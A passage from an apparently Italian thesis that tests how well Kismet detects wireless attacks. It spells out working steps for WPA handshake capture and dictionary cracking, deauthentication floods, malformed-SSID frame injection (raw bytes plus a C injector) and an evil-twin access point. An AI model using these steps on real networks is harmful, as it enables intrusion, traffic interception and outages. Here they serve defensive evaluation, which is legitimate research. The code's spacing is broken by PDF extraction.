metodi precedenti, al contrario, potevano richiederne anche oltre due milioni.

Abbiamo decifrato la chiave WEP in soli 98 secondi (vd. Figura 5.2) e Kismet

non ha noticato nessun alert.

5.3.2 WPA cracking

Come abbiamo osservato in sez. 3.3, l’handshake di associazione dello stan-

dard WPA 1&2 e vulnerabile ad attacchi a dizionario e, in conseguenza, la

chiave deve osservare rigide norme di dimensione (16-20 caratteri) e com-

plessita (alfanumerica piu simboli quali !$ %-&?). Verifichiamo i rischi de-

rivanti dall’utilizzo di password semplici quale, ad esempio, bianconatale.

Per intercettare l’hash da decifrare abbiamo, essenzialmente, due possibilita:

forzare un client ad eseguire una ri-associazione o aspettarne una nuova; sce-

gliamo la prima opzione, decisamente piu rapida ma prona, potenzialmente,

al rilevamento da parte di un WIDS.

Impostiamo nuovamente la modalita RFMON e attiviamo airodump,

quindi deautentichiamo il client 00:14:78:10:C8:55:

airmon−ng stop ath0

airmon−ng s t a r t w i f i 0

airodump−ng −c 6 −−bs s i d 00 : 1 7 : 9A: 7C: E3 : 1D −w data ath0

a i r ep l ay−ng −0 10 −a 00 : 1 7 : 9A: 7C: E3 : 1D

−c 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0

Se non ci sono stati errori, airodump ha catturato l’handshake; pro-

cediamo alla decifrazione dell’hash adoperando un qualsiasi dizionario per

password italiane, disponibile ad esempio presso www.insidepro.com.


wget www. i n s i d ep r o . com/download/ d i c t i o n a r y i t a l i a n . z ip

unzip d i c t i o n a r y i t a l i a n . z ip

a i r c rack−ng −w i t a l i a n . d i c t

−b 00 : 1 7 : 9A: 7C: E3 : 1D data−01. cap

Il nostro intruso, una macchina Turion64 1.6Ghz dual-core, verifica ap-

prossimativamente 200 chiavi al secondo e ha riscontrato una corrispondenza

in 3 minuti e 53 secondi (vd. Figura 5.3). Kismet notifica un flood di deau-

tenticazioni ma non tenta nessuna interpretazione aggiuntiva sulle cause in

quanto, inoltre, l’intercettazione dell’handshake e puramente passiva.

Figura 5.3: Cracking chiave WPA

5.3.3 Disconnessioni/Deautenticazioni

In realta abbiamo gia indotto numerose deautenticazioni e disassociazioni

perpetrando gli attacchi precedenti. Con aireplay i DOS flood sono un’ope-

razione piuttosto banale; abilitata RFMON e sufficiente eseguire:

a i r ep l ay−ng −0 X −a 00 : 1 7 : 9A: 7C: E3 : 1D

−c 0 0 : 1 4 : 7 8 : 1 0 :C8 :55 ath0


in cui X rappresenta la dimensione del flood.

Una deautenticazione in modalita broadcast, viceversa, e generabile

semplicemente omettendo il parametro -c MAC.

5.3.4 0-length e long SSID

Manipolare il campo identificativo del SSID con valori fuori dagli standard

e una delle pratiche piu comuni per causare buffer overflow e/o per tenta-

re un hacking all’interfaccia di un WIDS (vd. sez. 4.1.3 e 4.2.6). Tra le

varie modalita per alterare un frame e attuare questi e altri attacchi avan-

zati presenteremo due soluzioni, la prima basata su LORCON mentre la

seconda tramite Simple Injector. Simple Injector e un software sviluppato

durante questa tesi per agevolare injection arbitrari in quelle situazioni in

cui le librerie LORCON esibiscono malfunzionamenti e/o instabilita, come

riscontrato, ad esempio, nelle due macchine con kernel 2.6.23 (attualmente

l’ultima versione) usate nei test. Simple Injector, scritto interamente in C e

rilasciato sotto GPLv3, si appoggia direttamente sulle system call del kernel

Linux, evidenziando ottime prestazioni e potenzialita. Per i sorgenti si veda

l’Appendice A.

LORCON

Attualmente LORCON non e disponibile come pacchetto, percio per in-

stallarlo e necessario agire sul trunk svn e procedere ad una compilazione

manuale:

svn co http : //802 . 11 n in j a . net / svn/ lo r con / trunk

cd trunk

. / c on f i gu r e −−p r e f i x=/usr

make && make i n s t a l l


A meno di errori per dipendenze non soddisfatte, dovrebbe essere pos-

sibile visualizzare la man-page di LORCON (man lorcon). Per eseguire un

semplice injection di frame con long SSID e sufficiente riutilizzare il pro-

gramma C di sez. 4.2.6, sostituendo al codice riportato nel primo box quello

presente nel secondo:

u i n t 8 t packet [ ] = ”\xc4\x00\ x f f \ x7f \x00

\x13\xce\x55\x98\ xe f ” ;

unsigned char beacon [ ] = {0x80 , // Beacon frame

0x00 , // Bit−Flags

0x00 , 0x00 , // Duration time

0 x f f , 0 x f f , 0 x f f , 0 x f f , 0 x f f , 0 x f f , // Des t inaz ione

0x00 , 0x11 , 0x22 , 0x33 , 0x44 , 0x55 , // Sorgente

0x00 , 0x11 , 0x22 , 0x33 , 0x44 , 0x55 , // BSSID

0xc0 , 0x2d , // Fragment

0x92 , 0xc1 , 0xb3 , 0x30 , // Timestamp

0x00 , 0x00 , 0x00 , 0x00 ,

0x64 , 0x00 , // I n t e r v a l l o

0x11 , 0x00 , // Capab i l i t y

0x00 , 0x38 , // SSID(55)

’ a ’ , ’ n ’ , ’O ’ , ’ u ’ , ’ t ’ , ’O ’ , ’ f ’ , ’B ’ , // SSID :

’ o ’ , ’ u ’ , ’ n ’ , ’ d ’ , ’ s ’ , ’ S ’ , ’ S ’ , ’ I ’ ,

’D ’ , ’− ’ , ’ c ’ , ’ a ’ , ’ n ’ , ’Y ’ , ’ o ’ , ’ u ’ ,

’ S ’ , ’ e ’ , ’ e ’ , ’H ’ , ’ o ’ , ’w ’ , ’L ’ , ’ o ’ ,

’ n ’ , ’ g ’ , ’ I ’ , ’ s ’ , ’ I ’ , ’ t ’ , ’ ? ’ , ’ I ’ ,

’ t ’ , ’ I ’ , ’ s ’ , ’ 5 ’ , ’ 6 ’ , ’C ’ , ’ h ’ , ’ a ’ ,

’ r ’ , ’ a ’ , ’ c ’ , ’ t ’ , ’ e ’ , ’ r ’ , ’ s ’ , ’ ! ’

} ;

Simple Injector

Simple Injector permette di effetturare la medesima operazione prelevando

da un file binario i dati da trasmettere; la sintassi d’esecuzione e la seguente:


Usage : s imp l e i n j e c t o r − i INTERFACE −f FILE [−df ] | [−hv ]

−d : choose a de lay in seconds

between two packets ( d e f au l t : 1 s )

−n : choose how many packets

have to send ( d e f au l t : 10)

−h : p r i n t t h i s he lp

−v : p r i n t program ve r s i on

Impostata manualmente la modalita RFMON, l’esempio precedente e piu

semplicemente ripetibile tramite:

. / s imp l e i n j e c t o r − i ath0 −f longSSID . bin

dove longSSID e un file, preparabile con un qualsiasi editor esadecimale,

il cui contenuto e riportato a seguire:

80 00 00 00 ff ff ff ff ff ff 00 11 22 33 44 55 00 11 22 33 44 55 c0 2d 92

c1 b3 30 00 00 00 00 64 00 11 00 00 38 61 6e 4f 75 74 4f 66 42 6f 75 6e 64

73 53 53 49 44 2d 63 61 6e 59 6f 75 53 65 65 48 6f 77 4c 6f 6e 67 49 73 49

74 3f 49 74 49 73 35 36 43 68 61 72 61 63 74 65 72 73 21

In Figura 5.4 controlliamo l’effettiva esecuzione dell’injection, intercettato

con Wireshark. Osserviamo che le potenzialita esprimibili con questi stru-

menti sono limitati solamente dalla nostra immaginazione; ad esempio po-

tremmo effettuare un 0-lenght SSID attack, generando un frame di probe

response con SSID di dimensione nulla, tipicamente fatale per molti access

point:

50 00 3a 01 00 20 a6 4c 43 d0 00 06 25 0c 67 7a 00 06 25 0c 67 7a 40 5f ad

d2 9e 17 04 00 00 00 64 00 01 00 00 00 08 4e 4f 53 53 49 44 01 04 82 84 0b

16 03 01 0b 00

Questi due alterazioni, in particolare, sono rilevabili mediante Kismet; tutta-

via anche qualsiasi altra sequenza di bytes e potenzialmente fonte di exploit


e Simple Injector (o tools similari) ne permette una facile ed immediata ese-

cuzione. Ovviamente sono effettuabili anche tutti gli attacchi presentati in

sez. 4.2 come, ad esempio, il duration attack.

Figura 5.4: Injection con Simple Injector su Wireshark

5.3.5 Evil-Twin

Ad alcuni sembrera incredibile quanto sia facile perpetrare un Evil-Twin. A

rimarcare questo paradosso (rammentiamo che Evil-Twin e uno degli attacchi

piu pericolosi) questa trattazione non utilizzera alcun strumento esterno,

limitandosi ai programmi base della distribuzione GNU/Linux.


Innanzitutto installiamo macchanger in quanto il MAC spoofing con i

driver madwifi necessita di un procedimento leggermente piu articolato.

apt−get i n s t a l l macchanger

Ora eliminiamo il VAP corrente (Virtual Access Point, ath0 nel nostro

caso), l’interfaccia fittizia impiegata per simulare piu schede WLAN, e disa-

bilitiamo il protocollo IP sulla connessione fisica alla WLAN (wifi0); proce-

diamo cambiando il mac address con quello dell’access point che desideriamo

emulare e riattiviamo lo strato IP.

wlanconf ig ath0 des t roy

ip l i n k s e t dev w i f i 0 down

macchanger −−mac=00:17:9A: 7C: E3 : 1D w i f i 0

ip l i n k s e t dev w i f i 0 up

Concludiamo la procedura ricreando un VAP in modalita ap e impostan-

do lo stesso SSID del nostro obiettivo. Se in una determinata zona il nostro

segnale e piu forte, ad esempio perche potenziato da un’antenna esterna, i

clients tenderanno a connettersi al nostro access point fittizio piuttosto che

a quello legittimo. In alternativa possiamo anche stimolarli con flood di

dissassociazione, costringendoli ad autenticarsi alla nostra stazione.

wlanconf ig ath0 c r ea t e wlandev w i f i 0 wlanmode ap

iwcon f i g ath0 e s s i d SSID

I sensori di Kismet, tuttavia, rilevano non solo la presenza di un nuovo

access point ma notificano anche un alert in quanto percepiscono nella tra-

smissione su un diverso canale con un precedente medesimo MAC address il

pericolo di man in the middle.

In definitiva questi test hanno evidenziato come Kismet mantenga le

proprie promesse ma, tuttavia, hanno anche sottolineato quante ulteriori


possibilita siano a disposizione di aggressori tecnicamente e tecnologicamen-

te preparati. Kismet, pertanto, fornisce attualmente un supporto troppo

limitato per quegli ambiti aziendali e/o governativi che devono assicurare

un grado di sicurezza medio/elevato ma, viceversa, e perfetto in tutte quelle

modeste realta SOHO cosı numerose nel nostro paese.

Conclusioni

Operare in ambiente wireless e estremamente difficile. In questa tesi abbiamo

evidenziato le nuove problematiche introdotte dalla diffusione delle tecnolo-

gie IEEE 802.11 e, in particolare, abbiamo dimostrato il superamento delle

teorie classiche in materia di sicurezza. Il conseguente vuoto teorico e am-

piamente provato dalla mancanza di strumenti di rilevamento e monitoraggio

efficaci, attualmente in stadi post-embrionali, e non puo essere colmato dai

soli standard di protezione, malgrado questi siano notevolmente migliorati

negli anni (TKIP, CCMP). In aggiunta il mezzo radio, per sua stessa natura

non confinabile fisicamente ed accessibile a chiunque, trasforma tali siste-

mi in meccanismi indispensabili anche in contesti nei quali non sia prevista

l’integrazione della preesistente rete cablata con una WLAN.

Sebbene l’importanza di questi sistemi sia ormai riconosciuta, al mo-

mento non sussistono soluzioni paragonabili alle controparti su rete fissa.

In particolare il settore open source, sostanzialmente rappresentato dal solo

Kismet, ha accumulato un notevole ritardo rispetto a software commerciali

quali, ad esempio, AirDefense (www.airdefense.net) e OmniPeek/AiroPeek

(www.wildpackets.com) che forniscono prodotti meglio integrati e piu intui-

tivi. Kismet, nonostante gli sforzi, mantiene ancora indiscutibilmente la sua

veste di scanner mentre le funzionalita di rilevamente sono piuttosto limitate

e spesso obsolete. I test effettuati confermano queste affermazioni.

Questo scenario, in continua evoluzione, delinea innumerevoli possibili

sviluppi futuri. Tra gli altri segnaliamo la progettazione e l’implementazione

76 Conclusioni

di un’architettura integrata che riunisca in un unico prodotto gli aspetti

di monitoraggio, analisi e interfaccia utente. Inoltre potrebbe essere molto

interessante approfondire nuovi algoritmi di analisi per le anomalie tipiche

dell’ambiente wireless quali, ad esempio, quelli basati sui dati GPS descritti

in questo elaborato.

In ogni caso nei prossimi anni la pervasivita di dispositivi wireless di ogni

genere imporra al mercato la diffusione di sistemi WIDS e, soprattutto, una

sempre crescente richiesta di personale altamente qualificato che, osserviamo,

nel nostro paese e attualmente insufficiente.

Appendice A

Simple Injector - Sorgenti

/∗∗ Simple−I n j e c t o r − a ba s i c i n j e c t o r o f b inary f i l e s on

802.11 networks

∗∗ Copyright 2007 Marco Frison <marco . f r i s on@s tud io . unibo . i t >

∗ Based on a prev ious work o f Yury Bulygin <yur i v .

b u l y g i n@ in t e l . com>

∗∗ Simple−I n j e c t o r i s f r e e so f tware : you can r e d i s t r i b u t e i t

and/or modify

∗ i t under the terms o f the GNU General Pub l i c License as

pub l i s h ed by

∗ the Free Sof tware Foundation , e i t h e r ve r s i on 3 o f the

License , or

∗ ( a t your opt ion ) any l a t e r ve r s i on .

∗∗ Simple−I n j e c t o r i s d i s t r i b u t e d in the hope t ha t i t w i l l be

u s e fu l ,

∗ but WITHOUT ANY WARRANTY; wi thout even the imp l i ed

warranty o f

∗ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See

78 Simple Injector - Sorgenti

the

∗ GNU General Pub l i c License f o r more d e t a i l s .

∗∗ You shou ld have r e c e i v ed a copy o f the GNU General Pub l i c

License

∗ a long wi th t h i s program . I f not , see <h t t p ://www. gnu . org /

l i c e n s e s />.

∗∗/

#inc lude <s t d i o . h>

#inc lude <s t d l i b . h>

#inc lude <uni s td . h>

#inc lude < f c n t l . h>

#inc lude <s t r i n g . h>

#inc lude <s t r i n g s . h>

#inc lude <errno . h>

#inc lude <sys / socket . h>

#inc lude <arpa/ i n e t . h>

#inc lude <l i nux / i f a r p . h>

#inc lude <sys / i o c t l . h>

#de f i n e MAXREAD 2312

#de f i n e DEFAULTDELAY 1

#de f i n e DEFAULTTOSEND 10

#de f i n e VERSION ” 1 .0 ”

i n t sock fd ;

/∗ program ’ s he l p ∗/void p r i n t h e l p ( ) {

f p r i n t f ( stdout ,

”Usage : s imp l e i n j e c t o r − i INTERFACE −f FILE

[−df ] | [−hv ]\n”

”\ t −d : choose a de lay in seconds between

two packets ( d e f au l t : 1 s ) \n”

79

”\ t −n : choose how many packets have to send

( d e f au l t : 10) \n”

”\ t −h : p r i n t t h i s he lp \n”

”\ t −v : p r i n t program ve r s i on \n”

) ;

e x i t (0 ) ;

}

/∗ program ’ s ve r s i on in format ion ∗/void p r i n t v e r s i o n ( ) {

f p r i n t f ( stdout ,

”Simple−I n j e c t o r v e r s i on %s \n”

”Written by Marco Fr i son <marco . f r i s on@s tud i o

. unibo . i t > \n\n” , VERSION) ;

e x i t (0 ) ;

}

/∗∗ error func t i on hand ler

∗ @msg −> error po in t i d e n t i f i e r

∗/void on e r r o r ( char ∗msg) {

// p r i n t the error

per ro r (msg) ;

// c l o s e the socke t

c l o s e ( sock fd ) ;

e x i t (−1) ;

}

i n t main ( i n t argc , char ∗argv [ ] ) {

s t r u c t i f r e q i f r ;

s t r u c t s o c k add r l l saddr ;

i n t f i l e f d , data sent , s i z e , i ;

i n t de lay = DEFAULTDELAY, to send = DEFAULTTOSEND;

char ∗ i n t e r f a c e = NULL, ∗ f i l ename = NULL;


unsigned char ∗ bu f f e r ;

// input params check

whi le ( ( i = getopt ( argc , argv , ”h? i : f : d : n : v” ) ) != EOF

) {switch ( i ) {

case ’ i ’ :

i n t e r f a c e = optarg ;

break ;

case ’ f ’ :

f i l ename = optarg ;

break ;

case ’d ’ :

de lay = a t o i ( optarg ) ;

break ;

case ’n ’ :

to send = a to i ( optarg ) ;

break ;

case ’ v ’ :

p r i n t v e r s i o n ( ) ;

break ;

case ’h ’ : d e f au l t :

p r i n t h e l p ( ) ;

}}

// check i n t e r f a c e and f i l ename params

i f ( i n t e r f a c e == NULL | | f i l ename == NULL) {f p r i n t f ( stdout , ”Error ! S e l e c t an i n t e r f a c e

and a f i l e \n” ) ;

p r i n t h e l p ( ) ;

e x i t (−1) ;

}

// ge t i n t e r f a c e index (must open a socke t f i r s t ! )

i f ( ( sock fd = socket (PF INET , SOCK DGRAM, 0) ) < 0) {

81

on e r r o r ( ” socket ( ) ” ) ;

}

// g e t t i n g i t , j u s t a wh i l e

bzero(& i f r , s i z e o f ( i f r ) ) ;

s t r cpy ( i f r . i f r name , i n t e r f a c e ) ;

i f ( i o c t l ( sockfd , SIOCGIFINDEX, &i f r ) ) {on e r r o r ( ” i o c t l ( ) ” ) ;

}

// open a raw socke t

i f ( ( sock fd = socket (PF PACKET, SOCK RAW, htons (

ETH P ALL) ) ) < 0) {on e r r o r ( ” socket ( ) ” ) ;

}

/∗∗ pu l i s h data and s e t s s l i f i n d e x to f i l t e r packe t s

∗ form sources d i f f e r e n t from the choosen i n t e r f a c e

∗/bzero(&saddr , s i z e o f ( saddr ) ) ;

saddr . s l l f a m i l y = AF PACKET;

saddr . s l l i f i n d e x = i f r . i f r i f i n d e x ;

// b ind ing

i f ( bind ( sockfd , ( s t r u c t sockaddr ∗)&saddr , s i z e o f (

saddr ) ) < 0) {on e r r o r ( ”bind ( ) ” ) ;

}

// read the b inary data − 1 s t open the f i l e

i f ( ( f i l e f d = open ( f i l ename , O RDONLY) ) < 0) {on e r r o r ( ”open ( ) ” ) ;

}

/∗


∗ read at max the f i r s t MAXREAD bytes ,

∗ upperbound f o r Ethernet l a y e r

∗/bu f f e r = ( unsigned char ∗) mal loc ( s i z e o f ( unsigned char )

∗ MAXREAD) ;

i f ( ( s i z e = read ( f i l e f d , bu f f e r , MAXREAD) ) < 1) {c l o s e ( f i l e f d ) ;

on e r r o r ( ” read ( ) ” ) ;

}c l o s e ( f i l e f d ) ;

// send data to send t imes

f o r ( i = 0 ; i < to send ; i++) {// t r y to send

i f ( ( da ta sent = sendto ( sockfd , bu f f e r , s i z e ,

0 , NULL, 0) ) < 0) {on e r r o r ( ” sendto ( ) ” ) ;

}p r i n t f ( ”Sent frame %d o f %d bytes \n” , ( i +1) ,

da ta sent ) ;

// hard work , s l e e p f o r a wh i l e

s l e e p ( de lay ) ;

}

p r i n t f ( ” I n j e c t i o n end\n” ) ;

c l o s e ( sock fd ) ;

r e turn 0 ;

}

Appendice B

Wardriving - Note legali

La legislazione italiana e particolarmente confusa e imprecisa riguardo i com-

portamenti penalmente perseguibili in ambito informatico. In linea di prin-

cipio il wardriving e qualunque altra attivita di scanning non e considerata

illegale se non e diretta a compiere un reato, inteso come rallentamento, in-

terruzione e privazione di servizio o accesso abusivo allo stesso in accordo

con gli articoli 615-ter, 617-quater, 617-quinquies del codice penale (legge n.

547 del 23 Dicembre 1993). In particolare si osservi che l’accesso a una rete

non protetta non configura il reato di accesso abusivo a sistema informati-

co o telematico in quanto la stessa non prevede misure di sicurezza attive

(art. 615-ter); tuttavia l’utilizzo effettivo della banda senza una preventi-

va autorizzazione puo ricadere nella definizione di rallentamento di servizio

e, inoltre, l’utilizzo per scaricare o diffondere materiale pedopornografico o

protetto dal diritto d’autore o per danneggiare altri sistemi informatici pro-

muove l’applicazione degli articoli 600-ter, 494 e 635-bis del codice penale e

la legge 171 sul diritto d’autore.

In questo quadro indistinto, uno scanning attivo, imponendo un utiliz-

zo seppure minimo di banda a tutti soggetti coinvolti, puo essere conforme

alla definizione di rallentamento di servizio. Tutte le tecnologie passive, di-

84 Wardriving - Note legali

versamente, sono equiparabili all’ascolto involontario di una conversazione

pubblica trasmessa in un mezzo condiviso (l’aria) e, in generale, non sanzio-

nabili. In ogni caso e compito del tribunale valutare, caso per caso, la liceita

o meno di queste attivita.

Tutti i test eseguiti in questa tesi sono stati attuati in modalita esclusi-

vamente passiva e gli ulteriori dati pervenuti distrutti.

Appendice C

GNU Free Documentation

License

Version 1.2, November 2002

Copyright c© 2000,2001,2002 Free Software Foundation, Inc.

51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA

Everyone is permitted to copy and distribute verbatim copies of this license

document, but changing it is not allowed.

Preamble

The purpose of this License is to make a manual, textbook, or other func-

tional and useful document “free” in the sense of freedom: to assure everyone

the effective freedom to copy and redistribute it, with or without modifying

it, either commercially or noncommercially. Secondarily, this License preser-

ves for the author and publisher a way to get credit for their work, while not

being considered responsible for modifications made by others.

86 GNU Free Documentation License

This License is a kind of “copyleft”, which means that derivative works

of the document must themselves be free in the same sense. It complements

the GNU General Public License, which is a copyleft license designed for free

software.

We have designed this License in order to use it for manuals for free

software, because free software needs free documentation: a free program

should come with manuals providing the same freedoms that the software

does. But this License is not limited to software manuals; it can be used

for any textual work, regardless of subject matter or whether it is published

as a printed book. We recommend this License principally for works whose

purpose is instruction or reference.

C.1 Applicability and definitions

This License applies to any manual or other work, in any medium, that

contains a notice placed by the copyright holder saying it can be distributed

under the terms of this License. Such a notice grants a world-wide, royalty-

free license, unlimited in duration, to use that work under the conditions

stated herein. The “Document”, below, refers to any such manual or work.

Any member of the public is a licensee, and is addressed as “you”. You

accept the license if you copy, modify or distribute the work in a way requiring

permission under copyright law.

A “Modified Version” of the Document means any work containing the

Document or a portion of it, either copied verbatim, or with modifications

and/or translated into another language.

A “Secondary Section” is a named appendix or a front-matter section

of the Document that deals exclusively with the relationship of the publishers

or authors of the Document to the Document’s overall subject (or to rela-

ted matters) and contains nothing that could fall directly within that overall

C.1 Applicability and definitions 87

subject. (Thus, if the Document is in part a textbook of mathematics, a Se-

condary Section may not explain any mathematics.) The relationship could

be a matter of historical connection with the subject or with related matters,

or of legal, commercial, philosophical, ethical or political position regarding

them.

The “Invariant Sections” are certain Secondary Sections whose titles

are designated, as being those of Invariant Sections, in the notice that says

that the Document is released under this License. If a section does not fit

the above definition of Secondary then it is not allowed to be designated

as Invariant. The Document may contain zero Invariant Sections. If the

Document does not identify any Invariant Sections then there are none.

The “Cover Texts” are certain short passages of text that are listed,

as Front-Cover Texts or Back-Cover Texts, in the notice that says that the

Document is released under this License. A Front-Cover Text may be at

most 5 words, and a Back-Cover Text may be at most 25 words.

A “Transparent” copy of the Document means a machine-readable copy,

represented in a format whose specification is available to the general public,

that is suitable for revising the document straightforwardly with generic text

editors or (for images composed of pixels) generic paint programs or (for

drawings) some widely available drawing editor, and that is suitable for input

to text formatters or for automatic translation to a variety of formats suitable

for input to text formatters. A copy made in an otherwise Transparent file

format whose markup, or absence of markup, has been arranged to thwart or

discourage subsequent modification by readers is not Transparent. An image

format is not Transparent if used for any substantial amount of text. A copy

that is not “Transparent” is called “Opaque”.

Examples of suitable formats for Transparent copies include plain ASCII

without markup, Texinfo input format, LaTeX input format, SGML or XML

using a publicly available DTD, and standard-conforming simple HTML,


PostScript or PDF designed for human modification. Examples of transpa-

rent image formats include PNG, XCF and JPG. Opaque formats include

proprietary formats that can be read and edited only by proprietary word

processors, SGML or XML for which the DTD and/or processing tools are

not generally available, and the machine-generated HTML, PostScript or

PDF produced by some word processors for output purposes only.

The “Title Page” means, for a printed book, the title page itself, plus

such following pages as are needed to hold, legibly, the material this License

requires to appear in the title page. For works in formats which do not have

any title page as such, “Title Page” means the text near the most prominent

appearance of the work’s title, preceding the beginning of the body of the

text.

A section “Entitled XYZ” means a named subunit of the Document

whose title either is precisely XYZ or contains XYZ in parentheses follo-

wing text that translates XYZ in another language. (Here XYZ stands for

a specific section name mentioned below, such as “Acknowledgements”,

“Dedications”, “Endorsements”, or “History”.) To “Preserve the Ti-

tle” of such a section when you modify the Document means that it remains

a section “Entitled XYZ” according to this definition.

The Document may include Warranty Disclaimers next to the notice whi-

ch states that this License applies to the Document. These Warranty Disclai-

mers are considered to be included by reference in this License, but only as

regards disclaiming warranties: any other implication that these Warranty

Disclaimers may have is void and has no effect on the meaning of this License.

C.2 Verbatim copying

You may copy and distribute the Document in any medium, either commer-

cially or noncommercially, provided that this License, the copyright notices,

C.3 Copying in quantity 89

and the license notice saying this License applies to the Document are re-

produced in all copies, and that you add no other conditions whatsoever to

those of this License. You may not use technical measures to obstruct or

control the reading or further copying of the copies you make or distribute.

However, you may accept compensation in exchange for copies. If you distri-

bute a large enough number of copies you must also follow the conditions in

section 3.

You may also lend copies, under the same conditions stated above, and

you may publicly display copies.

C.3 Copying in quantity

If you publish printed copies (or copies in media that commonly have printed

covers) of the Document, numbering more than 100, and the Document’s

license notice requires Cover Texts, you must enclose the copies in covers

that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on

the front cover, and Back-Cover Texts on the back cover. Both covers must

also clearly and legibly identify you as the publisher of these copies. The front

cover must present the full title with all words of the title equally prominent

and visible. You may add other material on the covers in addition. Copying

with changes limited to the covers, as long as they preserve the title of the

Document and satisfy these conditions, can be treated as verbatim copying

in other respects.

If the required texts for either cover are too voluminous to fit legibly,

you should put the first ones listed (as many as fit reasonably) on the actual

cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering

more than 100, you must either include a machine-readable Transparent co-

py along with each Opaque copy, or state in or with each Opaque copy


a computer-network location from which the general network-using public

has access to download using public-standard network protocols a complete

Transparent copy of the Document, free of added material. If you use the

latter option, you must take reasonably prudent steps, when you begin di-

stribution of Opaque copies in quantity, to ensure that this Transparent copy

will remain thus accessible at the stated location until at least one year after

the last time you distribute an Opaque copy (directly or through your agents

or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the

Document well before redistributing any large number of copies, to give them

a chance to provide you with an updated version of the Document.

C.4 Modifications

You may copy and distribute a Modified Version of the Document under the

conditions of sections 2 and 3 above, provided that you release the Modified

Version under precisely this License, with the Modified Version filling the

role of the Document, thus licensing distribution and modification of the

Modified Version to whoever possesses a copy of it. In addition, you must

do these things in the Modified Version:

A. Use in the Title Page (and on the covers, if any) a title distinct from that

of the Document, and from those of previous versions (which should, if

there were any, be listed in the History section of the Document). You

may use the same title as a previous version if the original publisher of

that version gives permission.

B. List on the Title Page, as authors, one or more persons or entities

responsible for authorship of the modifications in the Modified Version,

together with at least five of the principal authors of the Document (all

C.4 Modifications 91

of its principal authors, if it has fewer than five), unless they release

you from this requirement.

C. State on the Title page the name of the publisher of the Modified

Version, as the publisher.

D. Preserve all the copyright notices of the Document.

E. Add an appropriate copyright notice for your modifications adjacent to

the other copyright notices.

F. Include, immediately after the copyright notices, a license notice giving

the public permission to use the Modified Version under the terms of

this License, in the form shown in the Addendum below.

G. Preserve in that license notice the full lists of Invariant Sections and

required Cover Texts given in the Document’s license notice.

H. Include an unaltered copy of this License.

I. Preserve the section Entitled “History”, Preserve its Title, and add to

it an item stating at least the title, year, new authors, and publisher of

the Modified Version as given on the Title Page. If there is no section

Entitled “History” in the Document, create one stating the title, year,

authors, and publisher of the Document as given on its Title Page, then

add an item describing the Modified Version as stated in the previous

sentence.

J. Preserve the network location, if any, given in the Document for public

access to a Transparent copy of the Document, and likewise the network

locations given in the Document for previous versions it was based on.

These may be placed in the “History” section. You may omit a network

location for a work that was published at least four years before the

Document itself, or if the original publisher of the version it refers to

gives permission.


K. For any section Entitled “Acknowledgements” or “Dedications”, Pre-

serve the Title of the section, and preserve in the section all the sub-

stance and tone of each of the contributor acknowledgements and/or

dedications given therein.

L. Preserve all the Invariant Sections of the Document, unaltered in their

text and in their titles. Section numbers or the equivalent are not

considered part of the section titles.

M. Delete any section Entitled “Endorsements”. Such a section may not

be included in the Modified Version.

N. Do not retitle any existing section to be Entitled “Endorsements” or

to conflict in title with any Invariant Section.

O. Preserve any Warranty Disclaimers.

If the Modified Version includes new front-matter sections or appendices

that qualify as Secondary Sections and contain no material copied from the

Document, you may at your option designate some or all of these sections

as invariant. To do this, add their titles to the list of Invariant Sections in

the Modified Version’s license notice. These titles must be distinct from any

other section titles.

You may add a section Entitled “Endorsements”, provided it contains

nothing but endorsements of your Modified Version by various parties–for

example, statements of peer review or that the text has been approved by

an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a

passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover

Texts in the Modified Version. Only one passage of Front-Cover Text and

one of Back-Cover Text may be added by (or through arrangements made

by) any one entity. If the Document already includes a cover text for the

C.5 Combining documents 93

same cover, previously added by you or by arrangement made by the same

entity you are acting on behalf of, you may not add another; but you may

replace the old one, on explicit permission from the previous publisher that

added the old one.

The author(s) and publisher(s) of the Document do not by this License

give permission to use their names for publicity for or to assert or imply

endorsement of any Modified Version.

C.5 Combining documents

You may combine the Document with other documents released under this

License, under the terms defined in section 4 above for modified versions,

provided that you include in the combination all of the Invariant Sections

of all of the original documents, unmodified, and list them all as Invariant

Sections of your combined work in its license notice, and that you preserve

all their Warranty Disclaimers.

The combined work need only contain one copy of this License, and mul-

tiple identical Invariant Sections may be replaced with a single copy. If there

are multiple Invariant Sections with the same name but different contents,

make the title of each such section unique by adding at the end of it, in

parentheses, the name of the original author or publisher of that section if

known, or else a unique number. Make the same adjustment to the section

titles in the list of Invariant Sections in the license notice of the combined

work.

In the combination, you must combine any sections Entitled “Histo-

ry” in the various original documents, forming one section Entitled “Hi-

story”; likewise combine any sections Entitled “Acknowledgements”, and

any sections Entitled “Dedications”. You must delete all sections Entitled

“Endorsements”.


C.6 Collections of documents

You may make a collection consisting of the Document and other documents

released under this License, and replace the individual copies of this License

in the various documents with a single copy that is included in the collection,

provided that you follow the rules of this License for verbatim copying of each

of the documents in all other respects.

You may extract a single document from such a collection, and distribute

it individually under this License, provided you insert a copy of this License

into the extracted document, and follow this License in all other respects

regarding verbatim copying of that document.

C.7 Aggregation with independent works

A compilation of the Document or its derivatives with other separate and in-

dependent documents or works, in or on a volume of a storage or distribution

medium, is called an “aggregate” if the copyright resulting from the compi-

lation is not used to limit the legal rights of the compilation’s users beyond

what the individual works permit. When the Document is included in an

aggregate, this License does not apply to the other works in the aggregate

which are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies

of the Document, then if the Document is less than one half of the entire

aggregate, the Document’s Cover Texts may be placed on covers that bracket

the Document within the aggregate, or the electronic equivalent of covers if

the Document is in electronic form. Otherwise they must appear on printed

covers that bracket the whole aggregate.

C.8 Translation 95

C.8 Translation

Translation is considered a kind of modification, so you may distribute trans-

lations of the Document under the terms of section 4. Replacing Invariant

Sections with translations requires special permission from their copyright

holders, but you may include translations of some or all Invariant Sections in

addition to the original versions of these Invariant Sections. You may inclu-

de a translation of this License, and all the license notices in the Document,

and any Warranty Disclaimers, provided that you also include the original

English version of this License and the original versions of those notices and

disclaimers. In case of a disagreement between the translation and the origi-

nal version of this License or a notice or disclaimer, the original version will

prevail.

If a section in the Document is Entitled “Acknowledgements”, “Dedi-

